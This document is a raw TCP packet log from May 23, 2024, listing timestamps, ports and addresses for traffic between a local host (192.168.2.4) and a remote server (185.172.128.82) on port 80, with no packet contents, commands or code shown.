May 23, 2024 23:33:09.161607981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161634922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162199020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162233114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162265062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162278891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162297964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162307978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162332058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162341118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162364960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162374020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162398100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162405968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162431002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162439108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162463903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.162472963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.162506104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163197041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163230896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163240910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163264990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163271904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163297892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163309097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163331985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163341999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163366079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163374901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163398981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163409948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163434029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163440943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163463116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163475990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163502932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163885117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163918018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163928986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163950920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163959980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.163985014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.163992882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164017916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.164026022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164050102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.164061069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164084911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.164092064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164117098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.164127111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164151907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.164160013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164196014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164681911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.164731979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.164748907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.164772987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.170844078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.170878887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.171053886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.219626904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.219878912 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243458986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243542910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243578911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243678093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243679047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243679047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243738890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243772984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243879080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243880987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243880987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243912935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243930101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243946075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.243964911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.243995905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.244330883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.244364977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.244385004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.244398117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.244409084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.244431019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.244441032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.244474888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.244703054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.244739056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.244755983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.244782925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.244812965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.244860888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245053053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245086908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245104074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245120049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245131969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245152950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245162964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245187044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245201111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245219946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245234013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245269060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245701075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245733976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245753050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245765924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245778084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245800972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245810986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245832920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245848894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245867014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245882034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245899916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245913982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245933056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.245946884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.245978117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.246536016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246568918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246591091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.246611118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.246813059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246846914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246865034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.246877909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246890068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.246911049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246922016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.246942997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246958971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.246975899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.246989965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247009039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247024059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247041941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247057915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247085094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247564077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247617006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247776031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247809887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247828007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247842073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247853041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247875929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247883081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247906923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247921944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247941017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247957945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.247972965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.247984886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248006105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248018026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248051882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248698950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248732090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248752117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248764038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248776913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248797894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248809099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248826981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248842955 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248859882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248872042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248893023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248907089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248924971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248936892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.248960018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.248967886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249007940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249428034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249460936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249481916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249504089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249511957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249545097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249556065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249577045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249596119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249608994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249627113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249641895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249653101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249682903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.249689102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.249721050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250394106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250427961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250446081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250459909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250469923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250505924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250525951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250556946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250581026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250591040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250601053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250623941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250634909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250655890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.250669003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.250703096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251091003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251123905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251142979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251157045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251166105 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251188993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251204967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251221895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251236916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251255035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251266003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251286983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251296997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251321077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251352072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251368046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251384020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.251399040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251434088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.251998901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252031088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252062082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252068043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252068043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252094030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252109051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252127886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252160072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252178907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252192974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252202034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252226114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252237082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252258062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252268076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252290964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252305031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252336979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252851009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252883911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252912045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252916098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252924919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252948999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252959967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.252978086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.252998114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253010988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253027916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253043890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253068924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253077030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253079891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253109932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253119946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253143072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253154993 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253176928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253191948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253209114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253220081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253241062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253251076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253287077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253706932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253741026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253761053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253773928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253784895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253807068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253823996 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.253839970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.253885031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.257605076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.257683992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.257702112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.257738113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.334395885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334419966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334445000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334460020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334578037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.334578037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.334615946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334634066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334723949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334739923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334754944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.334784985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.334784985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.334784985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.334830046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335092068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335125923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335159063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335191011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335263968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335263968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335263968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335575104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335609913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335623026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335639954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335652113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335673094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335680962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335710049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335716009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335742950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335752010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335777044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335786104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335809946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.335818052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.335853100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.336222887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.336256981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.336268902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.336291075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.336313009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.336324930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.336357117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.336360931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.336389065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.336395025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.336405993 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.336422920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.336431980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.336466074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337084055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337119102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337138891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337163925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337240934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337275028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337286949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337307930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337317944 CEST	49733	80	192.168.2.4	185.172.128.82
